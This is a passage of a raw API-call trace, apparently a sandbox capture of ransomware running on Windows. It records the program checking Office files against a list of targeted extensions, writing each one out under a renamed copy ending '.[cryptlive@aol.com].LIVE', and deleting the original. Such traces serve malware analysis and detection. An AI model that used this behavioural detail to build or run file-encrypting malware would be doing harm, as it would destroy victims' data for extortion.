lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0139.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0139.778] lstrlenW (lpString=".dbf") returned 4 [0139.778] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0139.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0139.778] lstrlenW (lpString=".1cd") returned 4 [0139.778] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0139.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68 [0139.778] lstrlenW (lpString=".jpg") returned 4 [0139.778] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0139.778] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0139.778] lstrlenW (lpString="ENVELOPR.DLL") returned 12 [0139.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0139.780] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=17288) returned 1 [0139.780] CloseHandle (hObject=0x3ac) returned 1 [0139.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll")) returned 0x20 [0139.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0139.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0139.780] lstrlenW (lpString=".doc") returned 4 [0139.780] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0139.780] lstrlenW (lpString=".docx") returned 5 [0139.780] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0139.780] lstrlenW (lpString=".pdf") returned 4 [0139.780] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0139.780] lstrlenW (lpString=".xls") returned 4 [0139.780] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0139.780] lstrlenW (lpString=".xlsx") returned 5 [0139.780] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0139.780] lstrlenW (lpString=".ppt") returned 4 [0139.780] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0139.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0139.780] lstrlenW (lpString=".zip") returned 4 [0139.780] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0139.780] lstrlenW (lpString=".rar") returned 4 [0139.781] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0139.781] lstrlenW (lpString=".bz2") returned 4 [0139.781] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0139.781] lstrlenW (lpString=".7z") returned 3 [0139.781] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0139.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0139.781] lstrlenW (lpString=".dbf") returned 4 [0139.781] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0139.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0139.781] lstrlenW (lpString=".1cd") returned 4 [0139.781] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0139.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0139.781] lstrlenW (lpString=".jpg") returned 4 [0139.781] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0139.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0139.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0139.781] lstrlenW (lpString=".doc") returned 4 [0139.781] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0139.781] lstrlenW (lpString=".docx") returned 5 [0139.781] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0139.781] lstrlenW (lpString=".pdf") returned 4 [0139.781] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0139.781] lstrlenW (lpString=".xls") returned 4 [0139.781] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0139.781] lstrlenW (lpString=".xlsx") returned 5 [0139.781] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0139.781] lstrlenW (lpString=".ppt") returned 4 [0139.781] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0139.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0139.781] lstrlenW (lpString=".zip") returned 4 [0139.781] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0139.781] lstrlenW (lpString=".rar") returned 4 [0139.781] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0139.781] lstrlenW (lpString=".bz2") returned 4 [0139.781] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0139.781] lstrlenW (lpString=".7z") returned 3 [0139.782] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0139.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0139.782] lstrlenW (lpString=".dbf") returned 4 [0139.782] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0139.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0139.782] lstrlenW (lpString=".1cd") returned 4 [0139.782] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0139.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60 [0139.782] lstrlenW (lpString=".jpg") returned 4 [0139.782] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0139.782] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".LIVE") returned -1 [0139.782] lstrlenW (lpString="ENVELOPR.DLL.IDX_DLL") returned 20 [0139.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0139.782] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=13696) returned 1 [0139.782] CloseHandle (hObject=0x3ac) returned 1 [0139.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll")) returned 0x20 [0139.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0139.783] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.783] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0139.784] GetLastError () returned 0x0 [0139.784] ReadFile (in: hFile=0x3ac, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x3580, lpOverlapped=0x0) returned 1 [0139.786] WriteFile (in: hFile=0x390, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x3590, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x3590, lpOverlapped=0x0) returned 1 [0139.788] ReadFile (in: hFile=0x3ac, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0139.788] WriteFile (in: hFile=0x390, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0139.788] SetEndOfFile (hFile=0x390) returned 1 [0139.788] CloseHandle (hObject=0x390) returned 1 [0139.788] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.788] SetEndOfFile (hFile=0x3ac) returned 1 [0139.791] CloseHandle (hObject=0x3ac) returned 1 [0139.791] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0139.791] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll")) returned 1 [0139.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0139.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0139.792] lstrlenW (lpString=".doc") returned 4 [0139.792] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0139.792] lstrlenW (lpString=".docx") returned 5 [0139.792] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0139.792] lstrlenW (lpString=".pdf") returned 4 [0139.792] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0139.792] lstrlenW (lpString=".xls") returned 4 [0139.792] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0139.792] lstrlenW (lpString=".xlsx") returned 5 [0139.792] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0139.792] lstrlenW (lpString=".ppt") returned 4 [0139.792] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0139.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0139.792] lstrlenW (lpString=".zip") returned 4 [0139.792] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0139.792] lstrlenW (lpString=".rar") returned 4 [0139.792] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0139.792] lstrlenW (lpString=".bz2") returned 4 [0139.792] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0139.792] lstrlenW (lpString=".7z") returned 3 [0139.792] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0139.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0139.792] lstrlenW (lpString=".dbf") returned 4 [0139.792] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0139.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0139.792] lstrlenW (lpString=".1cd") returned 4 [0139.792] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0139.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0139.793] lstrlenW (lpString=".jpg") returned 4 [0139.793] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0139.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0139.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0139.793] lstrlenW (lpString=".doc") returned 4 [0139.793] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0139.793] lstrlenW (lpString=".docx") returned 5 [0139.793] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0139.793] lstrlenW (lpString=".pdf") returned 4 [0139.793] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0139.793] lstrlenW (lpString=".xls") returned 4 [0139.793] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0139.793] lstrlenW (lpString=".xlsx") returned 5 [0139.793] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0139.793] lstrlenW (lpString=".ppt") returned 4 [0139.793] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0139.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0139.793] lstrlenW (lpString=".zip") returned 4 [0139.793] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0139.793] lstrlenW (lpString=".rar") returned 4 [0139.793] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0139.793] lstrlenW (lpString=".bz2") returned 4 [0139.793] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0139.793] lstrlenW (lpString=".7z") returned 3 [0139.793] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0139.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0139.793] lstrlenW (lpString=".dbf") returned 4 [0139.793] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0139.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0139.793] lstrlenW (lpString=".1cd") returned 4 [0139.793] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0139.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned 68 [0139.793] lstrlenW (lpString=".jpg") returned 4 [0139.793] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0139.794] lstrcmpiW (lpString1=".VRD", lpString2=".LIVE") returned 1 [0139.794] lstrlenW (lpString="EQPLIST.VRD") returned 11 [0139.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0139.943] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=1699) returned 1 [0139.943] CloseHandle (hObject=0x3b0) returned 1 [0139.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd")) returned 0x20 [0140.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0140.225] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.225] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0140.343] GetLastError () returned 0x0 [0140.343] ReadFile (in: hFile=0x3b0, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x6a3, lpOverlapped=0x0) returned 1 [0140.391] WriteFile (in: hFile=0x314, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x6b0, lpOverlapped=0x0) returned 1 [0140.392] ReadFile (in: hFile=0x3b0, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0140.392] WriteFile (in: hFile=0x314, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xea, lpOverlapped=0x0) returned 1 [0140.392] SetEndOfFile (hFile=0x314) returned 1 [0140.392] CloseHandle (hObject=0x314) returned 1 [0140.392] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.392] SetEndOfFile (hFile=0x3b0) returned 1 [0140.394] CloseHandle (hObject=0x3b0) returned 1 [0140.394] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.395] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd")) returned 1 [0140.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0140.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0140.395] lstrlenW (lpString=".doc") returned 4 [0140.396] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0140.396] lstrlenW (lpString=".docx") returned 5 [0140.396] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0140.396] lstrlenW (lpString=".pdf") returned 4 [0140.396] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0140.396] lstrlenW (lpString=".xls") returned 4 [0140.396] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0140.396] lstrlenW (lpString=".xlsx") returned 5 [0140.396] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0140.396] lstrlenW (lpString=".ppt") returned 4 [0140.396] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0140.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0140.396] lstrlenW (lpString=".zip") returned 4 [0140.396] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0140.396] lstrlenW (lpString=".rar") returned 4 [0140.396] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0140.396] lstrlenW (lpString=".bz2") returned 4 [0140.396] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0140.396] lstrlenW (lpString=".7z") returned 3 [0140.396] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0140.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0140.396] lstrlenW (lpString=".dbf") returned 4 [0140.396] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0140.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0140.396] lstrlenW (lpString=".1cd") returned 4 [0140.396] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0140.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0140.396] lstrlenW (lpString=".jpg") returned 4 [0140.396] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0140.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0140.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0140.396] lstrlenW (lpString=".doc") returned 4 [0140.396] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0140.396] lstrlenW (lpString=".docx") returned 5 [0140.396] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0140.397] lstrlenW (lpString=".pdf") returned 4 [0140.397] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0140.397] lstrlenW (lpString=".xls") returned 4 [0140.397] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0140.397] lstrlenW (lpString=".xlsx") returned 5 [0140.397] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0140.397] lstrlenW (lpString=".ppt") returned 4 [0140.397] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0140.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0140.397] lstrlenW (lpString=".zip") returned 4 [0140.397] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0140.397] lstrlenW (lpString=".rar") returned 4 [0140.397] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0140.397] lstrlenW (lpString=".bz2") returned 4 [0140.397] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0140.397] lstrlenW (lpString=".7z") returned 3 [0140.397] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0140.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0140.397] lstrlenW (lpString=".dbf") returned 4 [0140.397] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0140.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0140.397] lstrlenW (lpString=".1cd") returned 4 [0140.397] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0140.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0140.397] lstrlenW (lpString=".jpg") returned 4 [0140.397] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0140.397] lstrcmpiW (lpString1=".GRA", lpString2=".LIVE") returned -1 [0140.397] lstrlenW (lpString="GR8GALRY.GRA") returned 12 [0140.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gr8galry.gra"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0140.398] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=186880) returned 1 [0140.398] CloseHandle (hObject=0x3b0) returned 1 [0140.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gr8galry.gra")) returned 0x20 [0140.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gr8galry.gra.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gr8galry.gra"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0140.398] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.398] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gr8galry.gra.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0140.427] GetLastError () returned 0x0 [0140.427] ReadFile (in: hFile=0x3b0, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x2da00, lpOverlapped=0x0) returned 1 [0140.433] WriteFile (in: hFile=0x314, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x2da10, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x2da10, lpOverlapped=0x0) returned 1 [0140.437] ReadFile (in: hFile=0x3b0, lpBuffer=0x40f0020, 